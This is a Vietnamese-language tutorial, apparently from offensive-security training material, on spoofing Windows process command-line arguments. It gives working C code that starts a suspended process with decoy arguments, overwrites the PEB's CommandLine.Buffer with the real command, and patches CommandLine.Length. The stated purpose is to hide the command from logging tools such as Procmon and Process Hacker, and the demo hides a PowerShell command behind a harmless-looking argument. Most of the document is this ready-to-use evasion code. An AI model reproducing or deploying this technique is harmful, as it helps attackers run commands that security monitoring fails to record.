Introduction

Là kỹ thuật dùng để che giấu các đối số dòng lệnh của một tiến trình khi tạo mới nhằm né tránh việc ghi lại của các giải pháp bảo mật chẳng hạn như Procmon:

PEB Review

Để có thể triển khai kỹ thuật, ta cần biết các đối số dòng lệnh được lưu ở đâu.

Các đối số dòng lệnh được lưu ở trong thành phần CommandLine của cấu trúc RTL_USER_PROCESS_PARAMETERS:

typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];
  PVOID          Reserved2[10];
  UNICODE_STRING ImagePathName;
  UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

Cấu trúc trên thuộc cấu trúc PEB.

Có thể thấy, kiểu dữ liệu của CommandLine là cấu trúc UNICODE_STRING.

UNICODE_STRING Structure

Cấu trúc UNICODE_STRING:

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

Thành phần Buffer chính là con trỏ đến vùng nhớ chứa các đối số dòng lệnh.

Như vậy, để truy cập vào các đối số dòng lệnh thì ta cần truy cập theo thứ tự sau:

PEB->ProcessParameters.CommandLine.Buffer

Info

Khi thực hiện reverse engineer, ta thường thấy cấu trúc gồm 3 thành phần với thành phần thứ nhất và thứ hai là kích thước còn thành phần thứ ba là một mảng nào đó. Cấu trúc đó có thể là UNICODE_STRING.

How To Spoof Process Arguments

Để làm giả các đối số dòng lệnh cho một tiến trình mới tạo, ta sẽ cần tạo ra một tiến trình ở trạng thái trì hoãn (suspended) và truyền vào các đối số tùy ý mà không bị xem là đáng ngờ. Trước khi resume tiến trình, ta sẽ thay đổi giá trị của PEB->ProcessParameters.CommandLine.Buffer thành đối số mà ta muốn thực thi. Khi đó, các dịch vụ ghi nhật ký sẽ chỉ ghi lại được các đối số tùy ý trước đó.

Warning

Kích thước của các đối số dòng lệnh mà ta muốn thực thi cần phải nhỏ hơn hoặc bằng kích thước của các đối số dòng lệnh giả mạo. Nếu không, tiến trình sẽ bị crash. Do đó, luôn đảm bảo kích thước của các đối số dòng lệnh giả mạo là đủ lớn.

Process Argument Spoofing Function

Chúng ta sẽ xây dựng hàm CreateArgSpoofedProcess dùng để hiện thực các bước trên. Hàm này có nguyên mẫu như sau:

BOOL CreateArgSpoofedProcess(IN LPWSTR szStartupArgs, IN LPWSTR szRealArgs, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread);

Ở đầu thân hàm, ta sẽ khởi tạo các biến và thành phần cần thiết:

NTSTATUS                      STATUS   = NULL;
 
WCHAR                         szProcess [MAX_PATH];
 
STARTUPINFOW                  Si       = { 0 };
PROCESS_INFORMATION           Pi       = { 0 };
 
PROCESS_BASIC_INFORMATION     PBI      = { 0 };
ULONG                         uRetern  = NULL;
 
PPEB                          pPeb     = NULL;
PRTL_USER_PROCESS_PARAMETERS  pParms   = NULL;
 
 
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFOW));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
 
Si.cb = sizeof(STARTUPINFOW);

Sao chép đối số khởi tạo (giả mạo) vào biến szProcess.

lstrcpyW(szProcess, szStartupArgs);

Tạo ra tiến trình ở trạng thái trì hoãn:

if (!CreateProcessW(
	NULL,
	szProcess,
	NULL,
	NULL,
	FALSE,
	CREATE_SUSPENDED | CREATE_NO_WINDOW,      // creating the process suspended & with no window
	NULL,
	L"C:\\Windows\\System32\\",               // we can use GetEnvironmentVariableW to get this Programmatically
	&Si,
	&Pi)) {
	printf("\t[!] CreateProcessA Failed with Error : %d \n", GetLastError());
	return FALSE;
}

Retrieving Remote PEB Address

Sau khi tạo ra tiến trình ở trạng thái trì hoãn thì ta cần lấy ra PEB của nó. Ta sẽ dùng hàm NtQueryInformationProcess với flag ProcessBasicInformation để làm điều này.

Khi flag ProcessBasicInformation được sử dụng, NtQueryInformationProcess sẽ trả về một cấu trúc PROCESS_BASIC_INFORMATION:

typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS    ExitStatus;
    PPEB        PebBaseAddress;                // Points to a PEB structure.
    ULONG_PTR   AffinityMask;
    KPRIORITY   BasePriority;
    ULONG_PTR   UniqueProcessId;
    ULONG_PTR   InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

Note

Do là một syscall, địa chỉ của NtQueryInformationProcess cần được lấy ra thông qua hàm GetModuleHandleGetProcAddress:

// Getting the address of the NtQueryInformationProcess function
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
if (pNtQueryInformationProcess == NULL) 
	return FALSE;

Sử dụng như sau:

// Getting the PROCESS_BASIC_INFORMATION structure of the remote process which contains the PEB address
if ((STATUS = pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &PBI, sizeof(PROCESS_BASIC_INFORMATION), &uRetern)) != 0) {
	printf("\t[!] NtQueryInformationProcess Failed With Error : 0x%0.8X \n", STATUS);
	return FALSE;
}

Reading Remote PEB Structure

Sau khi có được địa chỉ của PEB thì ta có thể đọc dữ liệu vào một buffer bằng cách sử dụng hàm ReadProcessMemory có nguyên mẫu như sau:

BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);

Chúng ta sẽ đọc dữ liệu ở vùng nhớ được truyền vào tham số lpBaseAddress. Hàm này sẽ được gọi 2 lần:

  1. Lần thứ nhất là để đọc cấu trúc PEB.
  2. Lần thứ hai là để đọc cấu trúc RTL_USER_PROCESS_PARAMETERS. Chú ý rằng địa chỉ của cấu trúc này có thể tìm thấy trong cấu trúc PEB đã đọc được.

Hiện thực như sau:

// Reading the PEB structure from its base address in the remote process
if (!ReadFromTargetProcess(Pi.hProcess, PBI.PebBaseAddress, &pPeb, sizeof(PEB))) {
	printf("\t[!] Failed To Read Target's Process Peb \n");
	return FALSE;
}

Khi đọc cấu trúc RTL_USER_PROCESS_PARAMETERS, ta nên đọc nhiều byte hơn giá trị sizeof(RTL_USER_PROCESS_PARAMETERS) do kích thước thực sự của cấu trúc này phụ thuộc vào kích thước của các đối số. Cụ thể hơn, ta sẽ đọc thêm 255 bytes:

// Reading the RTL_USER_PROCESS_PARAMETERS structure from the PEB of the remote process
// Read an extra 0xFF bytes to ensure we have reached the CommandLine.Buffer pointer
// 0xFF is 255 but it can be whatever you like
if (!ReadFromTargetProcess(Pi.hProcess, pPeb->ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF)) {
	printf("\t[!] Failed To Read Target's Process ProcessParameters \n");
	return FALSE;
}

Với ReadFromTargetProcess là một hàm wrapper của hàm ReadProcessMemory:

BOOL ReadFromTargetProcess(IN HANDLE hProcess, IN PVOID pAddress, OUT PVOID* ppReadBuffer, IN DWORD dwBufferSize) {
 
	SIZE_T	sNmbrOfBytesRead	= NULL;
 
	*ppReadBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize);
	
	if (!ReadProcessMemory(hProcess, pAddress, *ppReadBuffer, dwBufferSize, &sNmbrOfBytesRead) || sNmbrOfBytesRead != dwBufferSize){
		printf("[!] ReadProcessMemory Failed With Error : %d \n", GetLastError());
		printf("[i] Bytes Read : %d Of %d \n", sNmbrOfBytesRead, dwBufferSize);
		return FALSE;
	}
 
	return TRUE;
}

Patching CommandLine.Buffer

Sau khi đọc cấu trúc RTL_USER_PROCESS_PARAMETERS, ta có thể dùng hàm WriteProcessMemory để chỉnh sửa thành phần CommandLine.Buffer. Hàm WriteProcessMemory có nguyên mẫu như sau:

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,          // What is being overwritten (CommandLine.Buffer)
  [in]  LPCVOID lpBuffer,               // What is being written (new process argument)
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

Với:

  • lpBaseAddress là địa chỉ của CommandLine.Buffer.

  • lpBuffer là buffer có chứa các đối số dòng lệnh thực sự mà ta muốn thực thi. Nó sẽ cần phải là một chuỗi Unicode do CommandLine.Buffer cũng là một chuỗi Unicode.

  • nSize là số lượng byte cần ghi. Giá trị của nó sẽ là độ dài của chuỗi cần ghi nhân với kích thước của kiểu dữ liệu WCHAR cộng 1 (cho ký tự kết thúc chuỗi). Công thức:

    lstrlenW(NewArgument) * sizeof(WCHAR) + 1

Hiện thực như sau:

// Writing the real argument to the process
if (!WriteToTargetProcess(Pi.hProcess, (PVOID)pParms->CommandLine.Buffer, (PVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1))) {
	printf("\t[!] Failed To Write The Real Parameters\n");
	return FALSE;
}

Với WriteToTargetProcess là hàm wrapper của hàm WriteProcessMemory:

BOOL WriteToTargetProcess(IN HANDLE hProcess, IN PVOID pAddressToWriteTo, IN PVOID pBuffer, IN DWORD dwBufferSize) {
 
	SIZE_T sNmbrOfBytesWritten	= NULL;
 
	if (!WriteProcessMemory(hProcess, pAddressToWriteTo, pBuffer, dwBufferSize, &sNmbrOfBytesWritten) || sNmbrOfBytesWritten != dwBufferSize) {
		printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		printf("[i] Bytes Written : %d Of %d \n", sNmbrOfBytesWritten, dwBufferSize);
		return FALSE;
	}
 
	return TRUE;
}

Cleaning Up, Resuming the Process and Saving Output Parameters

Cuối cùng, ta sẽ thực hiện giải phóng vùng nhớ, resume tiến trình và lưu lại các tham số mà ta sẽ trả về:

// Cleaning up
HeapFree(GetProcessHeap(), NULL, pPeb);
HeapFree(GetProcessHeap(), NULL, pParms);
 
// Resuming the process with the new paramters
ResumeThread(Pi.hThread);
 
// Saving output parameters
*dwProcessId     = Pi.dwProcessId;
*hProcess        = Pi.hProcess;
*hThread         = Pi.hThread;
 
// Checking if everything is valid
if (*dwProcessId != NULL, *hProcess != NULL && *hThread != NULL)
	return TRUE;
 
return FALSE;

Demo

Câu lệnh dòng lệnh powershell.exe Totally Legit Argument sẽ bị ghi lại bởi Procmon trong khi powershell.exe -c calc.exe sẽ được thực thi:

Patching CommandLine.Length

Mặc dù ta có thể che giấu được đối số dòng lệnh thực sự của tiến trình khỏi Procmon nhưng không thể che giấu được khỏi Process Hacker:

Có thể thấy, Process Hacker hiển thị đối số dòng lệnh thực sự của tiến trình cùng với một phần của đối số dòng lệnh giả mạo (là kết quả của việc ghi đè chuỗi CommandLine.Buffer).

Analyzing

Lý do cho kết quả trên là vì Process Hacker sử dụng NtQueryInformationProcess để đọc đối số dòng lệnh khi chương trình đang chạy và do đó mà nó có thể đọc được giá trị mà ta đã thay đổi.

Các công cụ chẳng hạn như Process Hacker đọc CommandLine.Buffer dựa trên chiều dài được chỉ định bởi CommandLine.Length thay vì đọc cho đến khi gặp ký tự kết thúc chuỗi bởi vì Microsoft khẳng định trong tài liệu của họ rằng thành phần UNICODE.Buffer không nên kết thúc bằng ký tự kết thúc chuỗi.

Solution

Như vậy, chúng ta sẽ đánh lừa Process Hacker bằng cách gán giá trị của CommandLine.Length là một giá trị nhỏ hơn kích thước thật sự của buffer. Điều này giúp đảm bảo CommandLine.Buffer không bị lộ.

Cũng sử dụng hàm WriteToTargetProcess ở trên, ta thay đổi giá trị của CommandLine.Length ở runtime như sau:

DWORD dwNewLen = sizeof(L"powershell.exe");
 
if (!WriteToTargetProcess(Pi.hProcess, ((PBYTE)pPeb->ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length)), (PVOID)&dwNewLen, sizeof(DWORD))){
  return FALSE;
}

Kết quả sau khi thay đổi đối với Process Hacker:

Đối với Procmon:

Resources